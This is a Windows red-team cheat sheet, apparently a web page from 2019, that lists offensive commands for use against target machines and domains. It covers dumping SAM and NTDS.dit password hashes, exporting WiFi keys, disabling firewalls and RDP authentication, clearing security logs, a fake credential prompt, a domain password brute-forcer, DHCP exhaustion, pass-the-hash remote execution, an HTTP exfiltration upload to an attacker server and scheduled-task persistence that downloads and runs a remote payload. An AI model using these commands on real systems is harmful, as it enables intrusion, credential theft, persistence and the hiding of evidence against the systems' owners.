Red Team Windows

(last edited: 07/31/2019) - Windows Files - System Info - Net / Domain Commands - Remote Commands - Network Commands - Utility Commands - Misc Commands - PSEXEC - Terminal Services - WMIC - PowerShell - Registry - DSQUERY - Scripting - Task Scheduler

Windows Files

%SYSTEMROOT%Typically C:\Windows
%SYSTEMROOT%\System32\drivers\etc\hostsDNS Entries
%SYSTEMROOT%\System32\drivers\etc\networksNetwork Settings
%SYSTEMROOT%\System32\config\SAMUser and password hashes
%SYSTEMROOT%\repair\SAMBackup copy of SAM
%SYSTEMROOT%\System32\config\RegBack\SAMBackup copy of SAM
%WINDIR%\System32\config\AppEvent.EvtApplication log
%WINDIR%\System32\config\SecEvent.EvtSecurity log
%ALLUSERSPROFILE%\Start Menu\Programs\Startup\Startup location
%USERPROFILE%\Start Menu\Programs\Startup\Startup location
%SYSTEMROOT%\PreFetchPreFetch dir, exe logs
Top - Home


System Info

verGet OS version
sc query state=allShow services
tasklist /svcShow processes and services
tasklist /mShow all processes and DLLs
tasklist /S <ip> /vRemote process listing
taskkill /PID <pid> /FForce process to terminate
systeminfo /S <ip>\<RegDomain>\<key> /v <value>Remote system info
reg query HKLM /f password /t REG_SZ /sSearch registry for password
fsutil fsinfo drivesList drives
dir /a /s /b c:\*.pdf*Search for all PDFs
dir /a /b c:\windowskb*Search for patches
findstr /si password *.txt| *.xml |*.xls |*.xlsxSearch files for password
tree /F /A c:\ > tree.txtDirectory listing for C:
reg save HKLM\Security security.hiveSave security hize to file
echo %USERNAME%Current User
Top - Home


Net / Domain Commands

net view /domainHosts in current domain
net view /domain:[MYDOMAIN]Hosts in MYDOMAIN
net user /domainAll users in current domain
net user <user> <pass> /addAdd user
net localgroup "Administrators" <user> /addAdd user to Administrators
net accounts /domainDomain password policy
net localgroup "Administrators"List local admins
net group /domainList domain groups
ent group "Domain Admins" /domainList users in Domain Admins
net group "Domain Controllers" /domainList DCs in current domain
net shareCurrent SMB shares
net session | find / "\\"Active SMB sessions
net user <user> /ACTIVE:yes /domainUnlock domain user account
net user <user> "<newpassword>" /domainChange domain user password
net share <share> c:\share /GRANT:Everyone,FULLShare folder
Top - Home


Remote Commands

tasklist /S <ip> /vRemote process list
systeminfo /S <ip> /U domain\user /P PwdRemote systeminfo
net share \\<ip>Shares of remote computer
net use \\<ip>Remote filesystem IPC$
net use z: \\<ip>\share <password> /user:DOMAIN\<user>Map drive, specified credentials
reg add \\<ip>\<regkey>\<value>Add registry key remotely
sc \\<ip> create <service> binpath=C:\Windows\System32\x.exe start= autoCreate a remote service
xcopy /s \\<ip>\dir C:\localCopy remote folder
shutdown -m \\<ip> /r /t 0 /fRemotely reboot computer
Top - Home


Newtork Commands

ipconfig /allIP configuration
ipconfig /displaydnsLocal DNS cache
netstat -anoOpen connections
netstat -anop tcp 1Netstat loop
netstat -an| findstr LISTENINGLISTENING ports
route printRouting table
arp -aKnown MACs, ARP table
nslookup, set type=any, ls -d domain > results.txt, exitDNS zone Xfer
nslookup -type-SRV _www._tcp.url.comDomain SRV lookup, _ldap, _kerberos, _sip
tftp -I <ip> GET <remotefile>TFTP file transfer
netsh firewall set opmode disableDisable firewall, OLD
netsh wlan export profile folder=. key=clearExport WiFi plaintext password
netsh interface ip show interfacesList interface IDs and MTUs
netsh interface ip set address local static <ip> <nmask> <gw> <ID>Set IP
netsh interface ip set dns local static <ip>Set DNS server
netsh interface ip set address local dhcpSet interface to use DHCP
netsh wlan show profilesShow all WiFi profiles in Windows
netsh wlan show profiles "NETWORK-SSID" key=clearShow passwords for "NETWORK-SSID"
Top - Home


Utility Commands

type <file>Display file contents
del <path>\*.* /a /s /q /fForceably delete all files in path
find /I "str" <filename>Find "str"
<command> | find /c /v ""Line count of <cmd> output
at HH:MM <file> [args]Schedule file to run
runas /user:<user> "<file> [args]"Run <file> at <user>
restart /r /t 0Restart now
tr -d '\15\32' < win.txt > unix.txtRemoves CR and ^Z (*nix)
makecab <file>Native compression
Wusa.exe /uninstall /kb:<###>Uninstall patch
cmd.exe "wevtutil qe Application /c:40 /f:text /rd:trueCLI event viewer
lusrmgr.mscLocal user manager
services.mscServices control panel
taskmgr.exeTask manager
secpool.mscSecurity policy manager
eventvwr.mscEvent Viewer
Top - Home


Misc Commands

Lock workstation

> rundll32.dll user32.dll LockWorkstation

Disable Windows Firewall

> netsh advfirewall set currentprofile state off
> netsh advfirewall set allprofiles state off

Native Windows Port Forward (must be admin)

> netsh interface portproxy add v4tov4 listenport=3000 listenaddress=1.1.1.1 connectport=4000 connectaddress=2.2.2.2
# Remove
> netsh interface portproxy delete v4tov4 listport=3000 listenaddress=1.1.1.1

Re-enable Command Prompt

> reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_WORD /d 0 /f
Top - Home


PSEXEC

Execute file hosted on remote system with credentials

> psexec /accepteula \\<targetIP> -u domain\user -p password -c -f \\<smbIP>\share\file.exe

Run remote command with specified hash

> psexec /accepteula \\<ip> -u Domain\user -p <LM>:<NTLM> cmd.exe /c dir c:\Progra~1

Run remote command as SYSTEM

> psexec /accepteula \\<ip> -s cmd.exe
Top - Home


Terminal Services

Start RDP
1. Create regile.reg file with following line in it:
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalService
2. "fDenyTSConnections"=dword:00000000
3. reg import regfile.reg
4. net start "termservice"
5. sc config termservice start= auto
6. net start termservice

--OR--

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSCOnnections /t REG_DWORD /d 0 /f

Tunnel RDP out port 443 (may need to restart terminal services)

REG ADD "HKLM\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWROD /d 443 /f

Disable network level authentication, add firewall exception

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v UserAuthentication 
/t REG_DWROD /d "0" /f netsh firewall set service type = remotedesktop mode = enable

Import a schedule task from an "Exported Task" XML

schtasks.exe /create /tn MyTask /xml "C:\MyTask.xml" /f
Top - Home


WMIC

wmic [alias] get /?List all attributes
wmic [alias] call /?Callable methods
wmic process list fullProcess attributes
wmic startupwmic serviceStarts wmic service
wmic qfeList all patches
wmic process call create "process_name"Execute process
wmic process where name="process" call terminateTerminate process
wmic logicaldisk get description,nameView logical shares
wmic cpu get DataWidth -/format:listDisplay 32 || 64 bit

WMIC [alias] [where] [clause]

[alias] == process,share,startup,service,nicconfig,useraccount,etc.
[where] == where (name="cmd.exe"), where (parentprocessid!=[pid]"), etc.
[clause] == list [full|brief], get [attrib1, attrib2], call [method], delete

Execute file hosted over SMB on remote system with credentials

> wmic /node:<targetIP> /user:domain\user /password:password process call create "\\<smbIP>\share\evil.exe"

Uninstall software

> wmic product get name /value  #Get software names
> wmic product where name="xxx" call uninstall /nointeractive

Remotely determine logged in user

> wmic /node:remotecomputer computersystem get username

Remote process listening every second

> wmic /node:machinename process list brief /every:1

List number of times user has logged in

> wmic netlogin where (name like "%adm%") get numberoflogons

Remotely start RDP

> wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

Search for services with unquoted parth in binary

> wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Volume shador copy

1. wmic /node:<DC IP> /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin list shadows 2>&1 > 
c:\temp\output.txt"

# If any copies already exist the exfil, otherwise create using following commands.  Check output.txt for any errors.

2. wmic /node:<DC IP> /user:"DOMAIN\user" /password:"PASS" process call create 
"cmd /c vssadmin create shadow /for=C: 2>&1 >> C:\temp\output.txt"

3. wmic /node:<DC IP> /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy 
\\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive 2>$1 >> C:\temp\output.txt" 4. wmic /node:<DC IP> /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1 >> C:\temp\output.txt" # Step by step instructions on room362.com for step below 5. From linux, download and run ntdsxtract and libesedb to export hashes or other domain information a. Additional instructions found under the VSSOWN section b. ntdsxtract - http://www.ntdsxtract.com c. libesedb - http://code.google.com/p/libesedb/
Top - Home


PowerShell

stop-transcriptStops recording
get-content <file>Displays file contents
get-help <command> -examplesShows examples of command
get-command *<string>*Search for cmd string
get-serviceDisplays services [stop-service, start-serice]
get-wmiobject -class win32_serviceDisplays services, but takes alternate credentials
$PSVersionTableDisplays powershell version
powershell.exe -version 2.0Run powershell 2.0 from 3.0
get-service | measure-objectReturns # of services
get-psdriveReturns list of PSDrives
get-process | select -expandproperty nameReturns only names
get-help * -parameter credentialCmdlets that take creds
get-wmiobject -list *networkAvailable WMI network cmds
[Net.DNS]::GetHostEntry("<ip>")DNS Lookup

Clear security and application event logs for remote server SVR01

Get-EventLog -list
Clear-EventLog -logname Application, Security -computername SVR01<

Export OS info into CSV file

Get-WmiObject -class win32_operatingsytem | select -property * | export-csv c:\os.tx

List running services

Get-Service | where_object {$_.status -eq "Running"}

Persistent PSDrive to remote file share

New-PSDrive -Persist -PSProvider FileSystem -Root \\1.1.1.1\tools -Name i

Return files with write date past 8/20

Get-ChildItem -Path c:\ -Force -Recurse -Filter *.log -ErrorAction SilentlyContinue | where {$_.LastWriteTime -gt "2018-08-20"}

File download over HTTP

(new-object system.net.webclient).downloadFile("url","dest")

TCP port connection (scanner)

$ports=(#,#,#);$ip="x.x.x.x";foreach ($port in $ports){try{$socket=New-object 
System.Net.Sockets.TCPClient($ip,$port);}catch{};if ($socket -eq $NULL){echo $ip":"$port" - Closed";}
else{echo $ip":"$port" - Open";$socket - $NULL;}}

Ping with 500 ms timeout

$ping = New-Object System.Net.Networkinformation.ping
$ping.Send("<ip>",500)>

Basic authentication popup

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass
$Host.UI.PromptForCredentials("<title>","<message>","<user>","<domain>")

Run exe every 4 hours between Aug 8-11, 2019 and the hours of 0800-1700 from cmd.exe

powershell.exe -Command "do {if ((Get-Date -format yyyyMMdd-HHmm) -match 
`201908(0[8-9]|1[0-1])-(0[8-9]|1[0-7])[0-5][0-9]'){Start-Process - WindowStyle Hidden 
"C:\temp\my.exe";Start-Sleep -s 14400}}while(1)"

Powershell Runas

$pw = convertto-securestring -string "PASSWORD" -asplaintext -force;
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "DOMAIN\user", $pw;
Start-Process powershell -Credential $pp -ArgumentList `-noprofile -command&{Start-Process <file.exe> -verb runas}'

Email Sender

powershell.exe Send-MailMessage -to "<email>" -from "<email>" -subject "Subject" 
-a "<attachment path>" -body "Body" -SmtpServer <Target Email Server IP>

Turn on Powershell remoting (with valid credentials)

net time \\ip
at \\ip <time> "Powershell -Command 'Enable-PSRemoting -Force'"
at \\ip <time+1> "Powershell -Command 'Set-Item wsman:\localhost\client\trustedhosts *'"
at \\ip <time+2> "Powershell -Command 'Restart-Service WinRM'"
Enter-PSSession -ComputerName <ip> -Credential <username>

List hostname and IP for all domain computers

Get-WmiObject -ComputerName <DC> -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourseRecord 
-Filter "domain='<DOMAIN>'" | select textrepresentation

Powershell download of a file from a specified location

powershell.exe -noprofile -noninteractive -command 
"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {true};
$Source="""https://<YOUR_IP>/<file.zip>"""; $destination="""C:\master.zip"""; 
$http = New-Object System.Net.WebClient;
$response = $http.DownloadFile($Source, $destination);"

Powershell data EXFIL

Script will send the file ($filepath) via http to server ($server) via POST request. Must have web server listening on port designated in $server

powershell.exe -noprofile -noninteractive -command
"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $server="""http://<your_ip>/<folder>""";
$filepath="""C:\master.zip"""; $http = new-object System.Net.WebClient; 
$response = $http.UploadFile($server,$filepath):"
Top - Home


Registry

HKLM\Software\Microsoft\Windows NT\CurrentVersionOS Informaiton
HKLM\Software\Microsoft\Windows NT\CurrentVersion -v ProductNameProduct Name
HKLM\Software\Microsoft\Windows NT\CurrentVersion -v InstallDateDate of Install
HKLM\Software\Microsoft\Windows NT\CurrentVersion -v RegisteredOwnerRegistered Owner
HKLM\Software\Microsoft\Windows NT\CurrentVersion -v SystemRootSystem Root
HKLM\System\CurrentControlSet\Control\TimeZoneInformation /v ActiveTimeBiasTime Zone (Offset from UTC)
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drives MRUMapped Network Drives
HKLM\System\MountedDevicesMounted Devices
HKLM\System\CurrentControlSet\Enum\USBStorUSB Devices
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters IPEnableRouter = 1Turn on IP Forwarding
HKEY_LOCAL_MACHINE\Security\Policy\SecretsPassword Keys: LSA Secrets can contain VPN, AutoLogon Passwords
HKLM\Security\Policy\PolAdTevAudit Policy
HKLM\Software\Microsoft\Windows NT\CurrentControlSet\ServicesKernel / User Services
HKLM\SoftwareInstalled Software on Machine
HKCU\SoftwareInstalled Software for User
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocsRecent Documents
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVistedMRU & \OpenSaveMRURecent User Locations
HKCU\Software\Microsoft\Internet Explorer\TypedURLsTyped URLs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUMRU Lists
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\RegEdit /v LastKeyLast Registry Key Accessed

StartUp Locations

HKLM\Software\Microsoft\Windows\CurrentVersion\Run & \RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run & \RunOnce
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load & \Run
Top - Home


DSQuery

dsquery user -limit 0List Users on Domain with No Limit on Results
dsquery group "cn=users, dc=victom, dc=com"List Groups for Domain=Victom.com
dsquery group -name "domain admins"| dsget group -members -expandList Domain Admin Accounts
dsquery user -name bob* | dsget user -memberof -expandList all Groups for a User
dsquery user -name bob* | dsget user -samidGet a User's Login ID
dsquery user -inactive 2List Accounts Inactive for 2 Weeks
dsadd user "CN=Bob,CN=Users,DC=Victim,DC=com" -samid bob -pwd bobpass -display "Bob" -pwdneverexpires yes -memberof "CN=Domain Admin,CN=Users,DC=Victim,DC=com"Add Domain User
dsrm -subtree -nonprompt "CN=Bob,CN=Users,DC=Victim,DC=com"Delete User
dsquery * "DC=victim,DC=com" -scope subtree -attr "cn" "operatingSystem" "operatingSystemServicePack" -filter "(&(objectclass=computer) (objectcategory=computer) (operatingSystem=Windows*))"List all Operating Systems in Domain
dsquery site -o rdn -limit 0List all Site Names
dsquery subnet -site SITENAME -o rdnList all Subnets within a Site
dsquery server -site SITENAME -o rdnList all Servers within a Site
dsquery * domainroot -filter "(&(objectCategory=Computer) (objectClass=Computer) (operatingSystem=*Server*))" -limit 0Find Server in the Domain
dsquery * "CN=Sites,CN=Configuration,DC=forestRootDomain" -filter (objectCategory=Server)Domain Controllers per Site
Top - Home


Scripting

* If scripting in batch file, variables must be preceeded with %%, i.e. %%i

NESTED FOR LOOP PING SWEEP

for /L %i in (10,1,254) do @ (for /L %x in (10,1,254) do @ ping -n 1 -w 100 10.10.%i.%x 2>nul | 
find "Reply" && echo 10.10.%i.%x >> live.txt) 

LOOP THROUGH FILE

for IF %i in (<file>) do <command> 

DOMAIN BRUTE FORCER

for IF %n in (names.txt) do for /F %p in (pawds.txt) do net use \\DC01\IPC$ /user:<domain>\%n %p 1>NUL 2>&1 && 
 echo %n:%p && net use /delete \\DC01\IPC$ > NUL 

ACCOUNT LOCKOUT (LOCKOUT.BAT)

@echo Test run: for /f %%U in (list.txt) do @for /1 %%C in (1,1,5) do @echo net use \\WIN-1234\c$ /USER:%%U wrongpass

DHCP EXHAUSTION

for /L %i in (2,1,254) do (netsh interface ip set address local static 1.1.1.%i <netmask> <gw> <ID> %1 
  ping 127.0.0.1 -n 1 -w 10000 > nul %1) 

DNS REVERSE LOOKUP

for /L %i in (100,1,105) do @ nslookup 1.1.1.%i | findstr /i /c:"Name" >> dns.txt && echo Server: 1.1.1.%i >> dns.txt 

SEARCH FOR FILES BEGINNING WITH THE WORD "PASS" AND THEN PRINT IF IT A DIRECTORY, FILE DATE/TIME, RELATIVE PATH, ACTUAL PATH AND SIZE OVARIABLES ARE OPTIONAL)

forfiles /P c:\temp /s /m pass* -c "cmd /c echo @isdir @fdate @ftime @relpath @path @fsize"
Top - Home


Task Scheduler

* Scheduledtasks binary paths CANNOT contain spaces because everything after the first space in the path is considered to be a command-line
argument. Enclose the /TR path parameter between backslash (\) AND quotation marks ("):

... /TR "\"C:\Program Files\file.exe\" -x argl"

TASK SCHEDULER ( ST=START TIME, SD=START DATE , ED:=END DATE ) *MUST BE ADMIN

SCHTASKS /CREATE /TN <Task Name> /SC HOURLY /ST <HH:MM> /F /RL HIGHEST /SD <MM/DD/YYYY> 
/ED <MM/DD/YYYY> /tr "C:\my.exe" /RU <DOMAIN\user> /RP <password>

TASK SCHEDULER PERSISTENCE [10]

*For 64 bit use:

"C:\Windows\sYswow64\WindowsPowerShell\v1.0\powershell.exe" 

# (x86) on User Login

SCHTASKS /CREATE /TN <Task Name> /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden 
-NoLogo -NonInteractive -ep bypass -nop -c 'IEX 
((new-object net.webclient).downloadstring(`'http://<ip>:<port>/<payload>'''))'" /SC onlogon /RU System 

# (x86) on System Start

SCHTASKS /CREATE /TN <Task Name> /TR nc:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden 
-NoLogo -NonInteractive -ep bypass -nop -c 'IEX 
((new-object net.webclient).downloadstring(`'http://<ip>:<port>/<payload>'''))'" /SC onstart /RU System 

# (x86) on User Idle (30 Minutes)

SCHTASKS /CREATE /TN <<Task Name> /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden 
-NoLogo -NonInteractive -ep bypass -nop -c 'IEX 
((new-object net.webclient).downloadstring(`'http://<ip>:<port>/<payload>'''))'" /SC onidle /i 30
Top - Home